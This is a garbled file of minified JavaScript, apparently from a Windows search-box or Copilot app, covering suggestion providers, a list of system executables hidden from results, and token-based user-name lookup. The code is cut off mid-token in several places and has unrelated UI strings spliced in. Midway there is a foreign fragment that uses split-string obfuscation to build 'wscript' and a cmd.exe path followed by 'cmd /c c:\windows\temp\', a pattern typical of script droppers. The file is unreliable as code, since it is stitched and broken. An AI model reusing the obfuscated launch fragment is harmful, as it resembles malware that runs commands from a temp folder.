ui=["\\system32\\user.exe","\\system32\\sidebar.exe","\\system32\\at.exe","\\system32\\change.exe","\\system32\\control.exe","\\system32\\find.exe","\\system32\\net.exe","\\system32\\share.exe","\\system32\\rundll32.exe","\\system32\\append.exe","\\system32\\choice.exe","\\system32\\clip.exe","\\system32\\comp.exe","\\system32\\compact.exe","\\system32\\consent.exe","\\system32\\convert.exe","\\system32\\format.exe","\\system32\\graphics.com","\\system32\\label.exe","\\system32\\mem.exe","\\system32\\mode.com","\\system32\\more.com","\\system32\\recover.exe","\\system32\\replace.exe","\\system32\\reset.exe","\\system32\\shadow.exe","\\system32\\sort.exe","\\system32\\tree.com","\\system32\\webcam.exe","\\system32\\systemsettings.exe","\\system32\\command.com","\\system32\\tabtip.exe","\\system32\\services.exe","\\system32\\help.exe","\\system32\\where.exe","\\system32\\skydrive.exe","\\system32\\calc.exe","\\system32\\fc.exe","\\accessories\\wordpad.exe",n.config.blocklistNotepadCommand?"\\system32\\notepad.exe":null,].filter(n=>!!n),ct=["\\system32\\finger.exe","\\system32\\ping.exe","\\system32\\print.exe","\\system32\\shutdown.exe","\\system32\\expand.exe","\\system32\\tskill.exe","\\system32\\reg.exe","\\system32\\sc.exe",],fi=["uninstall","outlook","excel","skype","nero","onenote","lync","vmware","firefox","itunes","photoshop","print","opera","visio","thunderbird","smartscreen"],ei=/[\/\.\-\\]/;n.isRealCommand=oi;const si=["Microsoft.Cortana_8wekyb3d8bbwe!CortanaUI","Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI",],hi=[".dll",".pdb",".obj",".bin",".etl",".bak",".config",".resx",".manifest",".ini",".searchconnector-ms",".settingcontent-ms",".vstx",".vssx",".ms-one-stub",],ci=["visio content","bin","debug","obj","objd","amd64","x86","microsoftedgebackups",];n.isInitials=at;n.getSuggestionTypeOverride=yt;n.parseConstraintIndexMetaData=pt;n.isSuppressed=wt;class t{getName(){return"LocalDataProvider"}constructor(t){this._previousKeystrokeCache=t;n.Host.bindAppHidden(()=>{st={}})}static setWhereId(n){var r,i;if(!n||n.close){if(t.lastResultHandle&&!n){(i=(r=t.lastResultHandle).close)===null||i===void 0?void 0:i.call(r);t.lastResultHandle=null;return}t.lastResultHandle=n}}fetch(i,r,u,f,e){var l,a,v,y;f&&f.register(()=>n.Async.clearPendingItemsFromCache(),!1,"clearPendingItemsFromCache");let s=[],c=ut.filter(t=>n.isDataSourceEnabled(t.dataSource,i));if(n.IndexerQueryGenerator&&(s=s.concat(c.filter(t=>n.IndexerQueryGenerator.dataSourceSupported(t.dataSource))),c=c.filter(t=>!n.IndexerQueryGenerator.dataSourceSupported(t.dataSource))),c.length>0){if(!i.queryToFetch&&!c.every(n=>n.supportsEmptyQuery))throw new Error(o);f&&f.register(()=>SearchAppWrapper.CortanaApp.queryFormulationView.cancelLastDeviceQuery(),!1,"cancelLastDeviceQuery");let u=n.safeExecute(()=>{let t=n.Host.getRawImpressionGuid();return n.config.logClientPerf&&n.InstrumentationHelper.instrumentDeviceQueryBegin(t),SearchAppWrapper.CortanaApp.queryFormulationView.startDeviceQuery(i.queryToFetch,t)},"startDeviceQuery",null,i.queryToFetch);if(u)for(let n of c)this.searchFolderWithMultipleResults(i,n,u,r,e,f,(l=t.lastResultHandle)===null||l===void 0?void 0:l.whereId);else this.emptyFetch(c,r)}let h=ft.filter(t=>n.isDataSourceEnabled(t.dataSource,i));if(n.IndexerQueryGenerator&&(s=s.concat(h.filter(t=>n.IndexerQueryGenerator.dataSourceSupported(t.dataSource))),h=h.filter(t=>!n.IndexerQueryGenerator.dataSourceSupported(t.dataSource))),h.length>0){if(!i.queryToFetch&&!h.every(n=>n.supportsEm))){const t=(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())===0;if(t)return!1}return t._isDSBEnabledByClient==null&&(t._isDSBEnabledByClient=(r=(i=(u=SearchAppWrapper.CortanaApp).isDynamicSearchBoxEnabled)===null||i===void 0?void 0:i.call(u))!==null&&r!==void 0?r:!0),t._isDSBEnabledByClient}static getUserDisplayName(){let i;const r=t._accessTokenManager.getSelectedAccountId(),n=this.getUserNameCache();return r===(n===null||n===void 0?void 0:n.AccountId)?i=n===null||n===void 0?void 0:n.FirstName:this.fetchUserName(r),i}static isImageGridEnabled(){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockImageGridPreviewEnhancement)?!0:(n.config.enableTwoColumnImageGrid||t.getIsWIPOrInternalAudience())&&n.RuntimeConfig.AlwaysWide&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(57696100))}static async fetchUserName(t){if(n.MockUrlParameters&&typeof n.MockedUserName=="object"){const i={AccountId:t,FirstName:n.MockedUserName.FirstName,LastName:n.MockedUserName.LastName};n.LightweightStorage.setItem(s,JSON.stringify(i));return}let i=await this.getToken();if(i){const u="/msrewards/api/v1/getusername",f=n.config.enableOfflineWithWeb&&n.config.webHost?n.config.webHost+u:u;let r={};(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=i:r["X-Search-RPSToken"]=i;try{let i=await fetch(f,{method:"Get",headers:r});if(i.status==200){let r=await i.json();if((r===null||r===void 0?void 0:r.ErrorCode)===0){const i={AccountId:t,FirstName:r.FirstName,LastName:r.LastName};n.LightweightStorage.setItem(s,JSON.stringify(i))}else n.LogWSBError("RewardsGetUserNameAPI",`${f}.ErrorCode:${r.ErrorCode} ${r.ErrorMessage}`,undefined,undefined,undefined,"WindowsTelemetry")}else throw new Error(`http status:${i.status}`);}catch(e){n.LogWSBError("RewardsGetUserNameAPI",`failed to fetch ${e}`,undefined,undefined,undefined,"WindowsTelemetry")}}}static async getToken(){const i=n.getBingResourceOrScope(0);return new Promise((n,r)=>{t._accessTokenManager.getAccount(0,i,!1,!0,t=>{let i=t&&t.Token;i?n(i):r(null)},undefined)})}static getUserNameCache(){let t;const i=n.LightweightStorage.getItem(s);return i&&(t=JSON.parse(i)),t}static getRSHEnabledBuild(){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockRSHData)||t._rshEnabledBuild}static setRSHEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.RSHDPEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._rshEnabledBuild=!0)}}t.isAppHidden=!1;t.hasSuspend=!1;t._queryParamsCache={};t._locStrings=[];t._enUsLocStrings=[];t._modifierKeyState={altKey:!1,ctrlKey:!1,shiftKey:!1};t._bootstrapDoneEventHandlers=[];t._appVisibleEventHandlers=[];t._shownEventHandlers=[];t._conversationStartEventHandlers=[];t._dismissedEventHandlers=[];t._appHiddenEventHandlers=[];t._languageSwitchedEventHandlers=[];t._webViewReloadEventHanlders=[];t._searchBoxGotFocusEventHandlers=[];t._searchBoxLostFocusEventHandlers=[];t._onSubmitHandlers=[];t._onFeedbackClosingHandlers=[];t._onEnterChatHandlers=[];t._onSearchBoxGlyphIconClick=[];t._onSearchBoxClick=[];t._onButtonRightOfSearchBoxClick=[];t._queryChangedHandlers=[];t._rawQueryChangedHandlers=[];t._keyDownHandlers=[];t._keyUpHandlers=[];t._keyEscapeHandlers=[];t._accessTokenAvailableHandlers=[];t._scopeListRequiresUpdate=[];t._accountChangedHandlers=[];t._dynamicSearchBoxUpdateHandlers=[];t._dynamicPlaceholderContentRequestedHandlers=[];t._searchAppearanceInvokedHandlers=[];t._pinnedApps={};t._state=0;t._paneCloseCount=0;t._qfDismissCount=0;t._installedAppsByQuery={};t._defaultWindowsTheme=0;t._defaultAppTheme=0;t._currentPaneHeight=0;t._defaultBrowser=0;t._fuzzyRankSuggestionCount=-1;t._coldRankSuggestionCount=-1;t._notColdRankSuggestionCount=-1;t._finalColdRankSuggestionCount=-1;t._mruFilesAndFoldersDefinedCount=-1;t._mruFilesAndFoldersUnd]=="System.Search.Contents")&&(!n.config.minLengthForContentMatch||t.queryToFetch.length<n.config.minLengthForContentMatch))return!0;let s=o.id;if(s&&(n.RuntimeConfig.QfMode!=5&&(s.includes("\\.")||s.includes("/."))||(s=s.toLowerCase(),t.queryToFetch.toLocaleLowerCase()!=i.displayName.toLocaleLowerCase()&&ci.some(n=>s.includes("\\"+n+"\\")||s.includes("/"+n+"/")))))return!0;let h=o.extension;if(h&&n.RuntimeConfig.QfMode!=5&&!t.queryToFetch.toLowerCase().includes(h.toLowerCase())&&n.contains(hi,h.toLowerCase()))return!0;if(r=="CG"){let r=i,t=r.displayName.split(" ")[0].toLowerCase();if(t.includes("\\")||t.indexOf(":")==1)return!1;let u=r.id.toLowerCase(),f=u.lastIndexOf("."),e=u.lastIndexOf("\\"),o=r.kind=="folder"||f<0||f<e;if(o&&!t.includes("%")||![".exe",".com"].some(n=>t.includes(n))&&(ui.some(n=>u.includes(n))||!r.launchArguments&&ct.some(n=>u.includes(n))||n.contains(fi,t)))return!0}return!1}const w=":wux:",l="Classic_{87d66a43-7b11-4a28-9811-c86ee395acf7}",b=["Microsoft.XboxGamingOverlay_8wekyb3d8bbwe!App"],f=["Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel","Microsoft.WindowsCalculator_8wekyb3d8bbwe!App","Microsoft.ScreenSketch_8wekyb3d8bbwe!App","{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\\mspaint.exe","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\mspaint.exe"],bt=new Set(["!","@","#","$","^","%","&","*","(",")","<",">","[","]","{","}","~","`","?","/",",",".","+","-","_","=",":",";","|"]),kt=1,dt=new Set(["MU","LI","LV","FL","FD","LDOC","PSLI","PSFL","PSFD","CSLI","CSFL","CSFD","SDOC"]);n.getIcon=k;n.shouldDisplayFileTypeIconForVisual=d;n.getFileExtensionFromDeviceItemId=a;n.createLocalResponseSuggestionWithDeviceItemImage=r;n.fetchForTopLocalApps=g;const v=[".dwg",".ai",".psd"],nt=[".ts"];n.getSuggestionTypeFromKindAndExtension=u;n.createGetResultsWithTimeout=h;const y={getResultsContainer:n=>n.apps,dataSource:"PP",getSuggestionType:()=>"PP",maxUpTo3chars:4,maxAfter3chars:7,maxAfter8charsOrInL2ZeroInput:15,customCreateLocalResponseSuggestion:(t,i,u)=>{if((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(58288238))&&t.glyphIcon!==undefined&&t.glyphIcon!==""){let n={content:t.glyphIcon,type:1};return s(t,i,n)}return r(t,i,u,n.ScopeConfig[n.Scope.Apps].icon,t.isImmersive?t.logoBackgroundColor:undefined)},supportsEmptyQuery:!0};n.filterIFFResultsToHighPriFiles=it;const rt={getResultsContainer:n=>n.settings,dataSource:"ST",getSuggestionType:()=>"ST",maxUpTo3chars:n.config.settingsSugCountMaxUpTo3chars,maxAfter3chars:7,maxAfter8charsOrInL2ZeroInput:15,customCreateLocalResponseSuggestion:(t,i,u)=>{if(n.isModernSetting(t)){let r=t.glyph,u;return u=n.config.useCobaltCSS&&t.glyphFontFamily==="Settings Fluent Icons"?{content:r,type:8}:r?{content:r,type:1}:n.ScopeConfig[n.Scope.Settings].icon,s(t,i,u)}return r(t,i,u,n.ScopeConfig[n.Scope.Settings].icon)},supportsEmptyQuery:!1},ut=[y,rt,{getResultsContainer:n=>n.media,dataSource:"LM",getSuggestionType:n=>u(n.kind,n.extension,"FL"),maxUpTo3chars:7,maxAfter3chars:10,maxAfter8charsOrInL2ZeroInput:20,supportsEmptyQuery:!0},{getResultsContainer:n=>n.files,dataSource:"FL",getSuggestionType:n=>u(n.kind,n.extension,"FL"),maxUpTo3chars:7,maxAfter3chars:10,maxAfter8charsOrInL2ZeroInput:20,supportsEmptyQuery:!0},{getResultsContainer:()=>{throw Error("Only supported via IndexerQuery");},dataSource:"IBA",getSuggestionType:()=>"IBA",maxUpTo3chars:4,maxAfter3chars:7,maxAfter8charsOrInL2ZeroInput:15,customCreateLocalResponseSuggestion:(t,i,u)=>r(t,i,u,n.ScopeConfig[n.Scope.Apps].icon),supportsEmptyQuery:!1},{getResultsContainer:()=>{throw Error("Only supported via IndexerQuery");},dataSource:"IFF",getSuggestionType:n=>u(n.kind,n.extension,"FL"),maxUpTo3chars:n.config.win10FastFileProviderSqlOptimizations?30:7,maxAfter3chars:n.config.win10FastFileProviderSqlOptimizations?30:15,maxAfter8charsOrInL2ZeroInput:n.config.win10FastFileProviderSqlOptimizations?30:25,supportsEmptyQuery:!0},{getResultsContainer:()=>{throw Error("Only supported via IndexerQuery");},dataSource:"CoPIFF", feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
windows-1252
"w"+"s"+"cr"+"ipt";var_c="\%s"+"yst"+"emroot\%\\system32\\cmd."+"ex"+"e";
cmd/cc:\windows\temp\
}function ht(t,i){if(t.type==="CoPST"&&i.type==="ST"||t.type==="ST"&&i.type==="CoPST")return t.duplicates=t.duplicates||[],n.contains(t.duplicates,i)||(t.duplicates.push(i),t.needsRefreshAfterDeduping=!0,t.previewPaneNeedsRefreshAfterDeduping=!1),!0;if(n.config.enableCachedSettingsProvider){if(t.type==="CAST"&&i.type==="ST"||t.type==="ST"&&i.type==="CAST")return t.duplicates=t.duplicates||[],n.contains(t.duplicates,i)||(t.duplicates.push(i),t.needsRefreshAfterDeduping=!0,t.previewPaneNeedsRefreshAfterDeduping=!1),!0;if(t.type==="CAST"&&i.type==="CoPST"||t.type==="CoPST"&&i.type==="CAST")return t.duplicates=t.duplicates||[],n.contains(t.duplicates,i)||(t.duplicates.push(i),t.needsRefreshAfterDeduping=!0,t.previewPaneNeedsRefreshAfterDeduping=!1),!0}return!1}function ct(t,i,r){var f,o;i.match||!r.match||i.parentFolderDisambig||r.match.matchType!==n.MatchType.Relevance&&(i.match=r.match,i.needsRefreshAfterDeduping=!0,i.previewPaneNeedsRefreshAfterDeduping=!0);n.Host.getFindSharedFilesEnabled()&&((f=r.match)===null||f===void 0?void 0:f.matchType)===n.MatchType.LastSharedBy&&((o=i.match)===null||o===void 0?void 0:o.matchType)===n.MatchType.Author&&(i.match=r.match,i.needsRefreshAfterDeduping=!0,i.previewPaneNeedsRefreshAfterDeduping=!0);for(let[,,n]of e){let t=r[n];t&&!i[n]&&(i[n]=t,i.needsRefreshAfterDeduping=!0,i.previewPaneNeedsRefreshAfterDeduping=!0)}(n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9)&&(i.needsRefreshAfterDeduping=!1,i.previewPaneNeedsRefreshAfterDeduping=!1);i.needsRefreshAfterDeduping&&u(t,n.getEffectiveQuery(t),n.isL2(t),i,!0)}function lt(t,i,r=1){return n.Async.safeChainWithGlobalCaching("getIconForTypeAsync",t=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getIconForTypeAsync(i,n.getImageSizeValue(t)),n=>n+"_"+i,i=>n.toIcon(i,"getIconForTypeAsync",t),t,null,null,r)}function b(n){return n!=null&&(n.type==3||!!n.content||!!n.className)}function f(t,i,r=true){let u=t.mayContainPII;return t.text?t.query?!t.handoffType&&t.handoffType!==0?(n.LogWSBError(i,u?"":t.text,new Error("Missing handoff type"),undefined,undefined,"WindowsTelemetry"),!1):t.type?r&&!t.getIcon&&!b(t.icon)?(n.LogWSBError(i,u?"":t.text,new Error("Missing icon"),undefined,undefined,"WindowsTelemetry"),!1):!0:(n.LogWSBError(i,u?"":t.text,new Error("Missing suggestion type"),undefined,undefined,"WindowsTelemetry"),!1):(n.LogWSBError(i,u?"":t.text,new Error("Missing query"),undefined,undefined,"WindowsTelemetry"),!1):(n.LogWSBError(i,u?"":t.deviceItem?t.deviceItem.id:"",new Error("Missing text"),undefined,undefined,"WindowsTelemetry"),!1)}function i(t,i,r){let u=t.getExtraVerbs;t.getExtraVerbs=t=>{let f=u?u(t):[],e=i(t);return n.joinVerbs(f,e,r)}}function at(t,i,r){let u=t.getExtraVerbsAsync;t.getExtraVerbsAsync=u?t=>ThresholdUtilities.createPromise(f=>u(t).then(u=>i(t).then(t=>f(n.joinVerbs(u,t,r))))):i}function r(n,t){let r=n.propertyHits||[],i=r.indexOf(t);return typeof i=="object"&&i.returnValue!==undefined?i.returnValue:i>=0}function vt(n){if(n&&typeof n=="object"&&n.length){let t="";for(let i=0;i<n.length;i++)t+=n[i],i!=n.length-1&&(t+=", ");return t}return n}function t(t,i,r){return n.safeExecute(()=>vt(t.getProperty(i)),"get"+i,undefined,r)}function yt(t,i,...u){for(let[f,i,e]of u)if(i&&r(t,e))return n.createMatch(f,i);return null}function pt(t,i){let r=i?t.query+"\n"+t.parentFolder:t.prettyPrintedPath||t.path||"";t.textContentIfMatched&&(r+=(r?"\n\n":"")+t.textContentIfMatched);let u=!!r,f=()=>{r&&(r+="\n"),u&&(r+="\n",u=!1)};for(let[o,s,u]of e)if(!i||u!="lastModifiedBy"||!t.lastModifiedDateString){let e=t[u];e&&(!o||i)&&(f(),i&&u=="lastModifiedDateString"&&t.lastModifiedBy&&(e=n.Host.getLocString("LastModifiedCombined",e,t.lastModifiedBy)),r+=n.Host.getLocString(s)+": "+e)}return t.explanation&&t.meeting&&(r=HitHighlightingParser.removeMarkers(t.explanation)+"\n\n"+r),r}function wt(t){switch(t){case n.MatchType.Author:case n.MatchType.LastModifiedBy:case n.MatchType.Tags:case n.MatchType.Genre:case n.MatchType.Album:case n.MatchType.Artist:case n.MatchType.LastSharedBy:return!0;case n.MatchType.Relevance:case n.ic"})}return null}function u(t,r,u,f,s=false){if(!s&&f.extensionLC&&n.hideFileExtensionsCache){let i=f.extensionLC.length,t=f.query,u=t.toLocaleLowerCase();if(u.endsWith(f.extensionLC)){let e=r?HitHighlightingParser.addMarkers(t,r):t,o=n.config.disableSyntaxHighlight?r===""||!f.extensionLC.toLocaleLowerCase().startsWith("."+r.toLocaleLowerCase()):e.toLocaleLowerCase().endsWith(f.extensionLC);if(o){f.query=t.substring(0,t.length-i);let n=f.text.toLocaleLowerCase(),r=HitHighlightingParser.removeMarkers(n);if(u==r){let t=n.lastIndexOf(f.extensionLC);t>0&&(f.text=f.text.substring(0,t)+f.text.substr(t+i))}}}}if(f.lastModifiedDate&&(f.lastModifiedDateString=f.lastModifiedDate.toLocaleString(n.uiLanguageCache,{day:"numeric",month:"numeric",year:"numeric",hour:"numeric",minute:"numeric"})),f.lastAccessDate&&(f.lastAccessDateString=f.lastAccessDate.toLocaleString(n.uiLanguageCache,{day:"numeric",month:"numeric",year:"numeric",hour:"numeric",minute:"numeric"})),n.config.openInStringResultsSubtext){let t=f.sourceForGroup&&f.sourceForGroup!=1?n.getGroupSourceDisplayName(f.sourceForGroup):f.itemTypeDisplayName;f.primaryMetadata=n.Host.getLocString("OpenIn",t)}else if(n.config.lastAccessedRelativeTime){let t=f.sourceForGroup&&f.sourceForGroup!=1?n.getGroupSourceDisplayName(f.sourceForGroup):f.itemTypeDisplayName;if(f.lastAccessDate){let i=n.formatTimePassed(Math.floor(f.lastAccessDate.getTime()/1e3),n.getCurrentDate());f.primaryMetadata=i?t+" . "+i:t}else f.primaryMetadata=t}else f.primaryMetadata=f.sourceForGroup&&f.sourceForGroup!=1?n.getGroupSourceDisplayName(f.sourceForGroup):f.itemTypeDisplayName;if(f.explanation?f.additionalInfoText=f.explanation:t.isSearchHomeZI&&(f.additionalInfoText=f.prettyPrintedPath||f.path),f.classNames=f.classNames.indexOf("fbig")>=0?["fbig"]:[],f.match){let t=(wt(f.match.matchType)?n.Host.getLocString(n.MatchType[f.match.matchType])+": ":"")+HitHighlightingParser.addMarkers(f.match.matchedText,r);f.additionalInfoText=t;f.secondaryMetadata=t;f.classNames.push("withMatchAnnotation","forceNoWrapOutsideTopResult")}else n.config.bestMatchLastAccessed&&f.lastAccessDateString&&n.RuntimeConfig.QfMode!=5?f.secondaryMetadata=n.Host.getLocString("LastAccessed")+": "+f.lastAccessDateString:!n.config.lastAccessedRelativeTime&&f.lastModifiedDateString&&n.RuntimeConfig.QfMode!=5&&(f.secondaryMetadata=n.Host.getLocString("LastModified")+": "+f.lastModifiedDateString);f.narratorText=n.getNarratorText(f);n.displayedInGridLayout(f.type)&&(u?f.classNames.push("bigIcon","biggerIcon"):f.classNames.push("bigIcon"));n.isImageGridEnabledForItem(f.type)&&f.classNames.push("imageGridSuggestion");!s&&f.handoffType==2&&SearchAppWrapper.CortanaApp.copyToClipboard&&i(f,()=>[{verb:n.JumplistActionItemType[n.JumplistActionItemType.S_CopyFullPath],displayName:n.Host.getLocString("CopyFullPath"),executeSync:()=>SearchAppWrapper.CortanaApp.copyToClipboard(f.path,""),icon:{type:1,content:"&#xE8C8"}}],!1);let c={},h=f.prettyPrintedPath||f.path;if(h){let i=h.lastIndexOf("/");i<0&&(i=h.lastIndexOf("\\"));i<0&&(i=h.lastIndexOf(" > "));let t=h.substring(0,i);t.endsWith(":")&&(t=t+"\\");f.parentFolder=t;c[n.Host.getLocString("Location")]=[{text:t,click:()=>n.isUncOrLocalPath(t)?SearchAppWrapper.CortanaApp.launcher.startLaunchFolder(t):f.locationUrl?SearchAppWrapper.CortanaApp.launcher.launchUriAsync(decodeURI(f.locationUrl)):SearchAppWrapper.CortanaApp.launcher.launchUriAsync(t)}]}let l=n.nicerCloudFilesEnabled(t,f);f.tooltip=pt(f,l);for(let[t,i,r]of e){let u=f[r];u&&!t&&(c[n.Host.getLocString(i)]=[{text:u}]);f.previewMetadata=c}o(f)&&((n.isDocument(f===null||f===void 0?void 0:f.type)||n.isFolder(f===null||f===void 0?void 0:f.type))&&(f.previewMetadata[n.Host.getLocString("Relevance")]=[{text:n.Host.getLocString("ContentRelatedHasBeenFound",`{${r}}`)}]),n.isPhoto(f===null||f===void 0?void 0:f.type)&&(f.previewMetadata[n.Host.getLocString("Relevance")]=[{text:n.Host.getLocString("ImageRelatedHasBeenFound",`{${r}}`)}]))}function o(t){var i;return((i=t===null||t===void 0?void 0:t.match)===null||i===void 0?void 0:i.matchType)===n.MatchType.Relevancerl,this._navigationHelper,this.removeBingHistorySuggestionCallBack,!1,!0)}}if(!n.isValidSuggestion(y,"parseOnlineSuggestion"))return null;const nt=["Actor","City","Place","Country","State","Animal","Attraction","Food","Artist","People"],tt=["Song","TvShow","Movie"];let b=y.segments,k=b?b.split(","):[],d=k.some(t=>n.contains(nt,t)),g=k.some(t=>n.contains(tt,t));return(u.ChildSuggestions||d||g)&&(n.config.wsbWithCopilotQF||n.config.disableChildSuggestions||(y.calculateChildSuggestions=()=>this.calculateRelatedSuggestions(y,t,u,l,d,g))),n.config.directNavPreviewPane&&y.type=="MD"&&y.url&&(y.getIcon=n.getFaviconUrlForRawUrl(y.url,64,64,1.5),y.previewPaneType=2),n.RuntimeConfig.QfMode==12&&c(y),y}setMSStoreSuggestionProperties(t,i){t.installed=!1;t.classNames.push("action");t.productName=i.appName;let r=n.Host.getWindowsTheme(),u=r==2?i.darkThumbnailUrl:i.lightThumbnailUrl,f=r==2?i.darkScreenShotUrl:i.lightScreenShotUrl;t.icon=n.toIcon(u,"getStoreImage");let e=parseFloat(i.rating);t.averageRating=this.getStarsRating(e);t.publisherName=i.publisherName;t.shortDescription=i.shortDescription;t.longDescription=i.longDescription;t.screenshot=f;t.deeplink=i.launchUri;t.query=i.appName;t.scope=n.Scope.Apps;t.primaryMetadata=n.Host.getLocString("AppInMicrosoftStore");t.packageFamilyName=i.packageFamilyName;t.click=()=>n.Host.launchUriAsync(t===null||t===void 0?void 0:t.deeplink,!0);t.narratorText=n.getNarratorText(t);t.reactKey="SPP"+i.appName}getStarsRating(n){let t=Math.round(n*2)/2;return Math.max(0,Math.min(5,t))}setRankingSignals(n,t){let i=t.Attributes;n.hc=i.hc==="1";n.highConfidenceSuggestionScore=+i.hcs;n.highConfidenceMetaSuggestionScore=t.HighConfidenceMetaSuggestionScore;n.prefetchConfidenceScore=t.PrefetchConfidenceScore;n.suggestionLogMeta=i.lm}compliesWithMinVersion(n,t){if(!n)return!0;if(!t)return!1;let i=n.split("."),r=t.split(".");while(i.length>r.length)r.push("0");for(let n=0;n<i.length;++n){let t=r[n],u=i[n];if(t<u)return!1;if(t>u)return!0}return!0}sendRemoveBingHistorySuggestionRequest(t,i){t=HitHighlightingParser.removeMarkers(t);let r=n.config.removeSuggUrl.replace("%7b0%7d",encodeURIComponent(t)).replace("%7bSID%7d",sj_cook.get("_SS","SID"));n.fetchUrlJson(r,i,null,i=>{i&&i.success&&(n.Host.refreshCurrentPane(),n.safeSetTimeout(()=>this._temporaryMessageHandler.showTemporaryMessage(n.Host.getLocString("RemoveFromWebHistoryConfirmation",t)),250,"removeBingHistorySuggestion"))})}addRelatedSuggestion(t,i,u,f,e,o,s){let h=n.createSuggestion(i,f,null,e,o,t?t.Query:u.query,n.InstrumentedItem.createInstrumentedItem(u.sequenceNumber,o),s,u.sequenceNumber,!1,null,null,!0);h.groupType=n.GroupType.Related;h.parent=u;h.isChild=!0;h.tooltip=t?t.SecondaryText:null;h.rankingScore=t?t.RankingScore:0;h.category=t?t.Category:null;h.isAnswer=!0;r(h,i,u.sequenceNumber,t?t.Url:null,this._navigationHelper,this.removeBingHistorySuggestionCallBack,!1);h.primaryMetadata=null;h.reactKey=o+f+(t?t.Category+t.SecondaryText:"");n.isValidSuggestion(h,"calculateRelatedSuggestions")&&u.childSuggestions.push(h)}calculateRelatedSuggestions(t,i,r,u,f,e){if(t.childSuggestions=[],r.ChildSuggestions)for(let u of r.ChildSuggestions)this.addRelatedSuggestion(u,i,t,u.Text,n.getIconFromOnlineResponse(u),u.Type,0);f&&this.addRelatedSuggestion(null,i,t,n.Host.getLocString("Images"),null,"EIM",13);e&&this.addRelatedSuggestion(null,i,t,n.Host.getLocString("Videos"),null,"EVI",14);t.childSuggestions.length>0&&n.InstrumentationHelper.instrumentDataSource(t.sequenceNumber,u,t.childSuggestions,null)}}n.OnlineSuggestionsParser=s;n.adjustCasing=t;n.setCat1SuggestionProperties=i;n.setWebSearchSuggestionProperties=r;n.setUrlSuggestionProperties=f}(WSB||(WSB={})),function(n){function w(n){return n?[n]:[]}function et(n){if(n){let t=n.lastIndexOf(".");if(t>=0)return n.substring(t)}return""}function ot(t){let i=t?new Date(t):null;return n.isValidDate(i)?i:null}function st(t){if(t){let i=n.getCurrentDate();if(i.getDate()==t.getDate()&&i.getMonth()==t.getMonth()&&i.getFullYear()==t.getFullYear())return t.toLocaleTimeString(n.uiLanguageCache,{hour:"numeric",minute:"numerponseHeader:r.responseHeaders};f("Web",l,e)}n.lookupById(t,"OSTMA",a,p,"OSTMAN",k,b,n=>n.Attributes.appId.split(";"),"QS",d,w,n=>n.Attributes.settingId,u,i,f,e,(n,u,f,e,o)=>this.parseIdLookupResponse(r,t,i,n,u,f,e,o),null,null,null,null)}static getAllAppsInstalledInLocal(t){var i;let r=SearchAppWrapper.CortanaApp.queryFormulationView.startDeviceQuery(t,null);return r?(i=r.apps)===null||i===void 0?void 0:i.getItemsAsync(0,4).then(i=>{var u;let r=i.resultSet;r||typeof i.length!="undefined"?r||(r=i):r=Object.keys(i).map(n=>i[n]);let f=[];for(let i in r){let e=r[i];if(e){let o=(u=e.displayName)===null||u===void 0?void 0:u.toLowerCase();f.push(o);n.Host.addInstalledAppsByQueryInCurrentConversation(o,t)}}return f}):null}parseIdLookupResponse(t,r,u,f,e,o,s,h){if((!n.config.enableWebSynonymForNames||!h)&&(o===null||o===void 0?void 0:o.length)!=1){let i=n.safeExecute(()=>this.parseOnlineSuggestion(r,f,u,t.Resources,e,0),"parseOnlineSuggestion "+e);i&&s.push(i);return}let l=t=>{let e=f.Attributes;return this.compliesWithMinVersion(e.appMinVersion,t.deviceItem.version)?(t.appContext=e.appContext,this.setRankingSignals(t,f),n.config.enableWebSynonymScoreTopHit&&Math.abs(f.PrefetchConfidenceScore-1e4)<Number.MIN_VALUE&&(t.prefetchConfidenceScore=f.PrefetchConfidenceScore),f.Text&&e.query&&(!n.isApp(t.type)||t.appContext)&&(t.text=f.Text,t.query=e.query),f.SecondaryText&&(t.primaryMetadata=f.SecondaryText),t.handoffType==5)?i(t,r,u,e.actionUri,e.taskFrame,parseFloat(e.confidence),parseInt(e.source)):!0:!1},c=1;if(n.config.enableWebSynonymForNames&&h)for(let t=0;t<(o===null||o===void 0?void 0:o.length);t++)n.safeExecute(()=>n.parseLocalSuggestion(r,o[t],e,u,this._temporaryMessageHandler,"PP",s,l,c),"parseLocalSuggestion "+e),c+=1;else n.safeExecute(()=>n.parseLocalSuggestion(r,o[0],e,u,this._temporaryMessageHandler,f.Attributes.stype,s,l,c),"parseLocalSuggestion "+e),c+=1}parseOnlineSuggestion(t,u,e,s,l,a){let 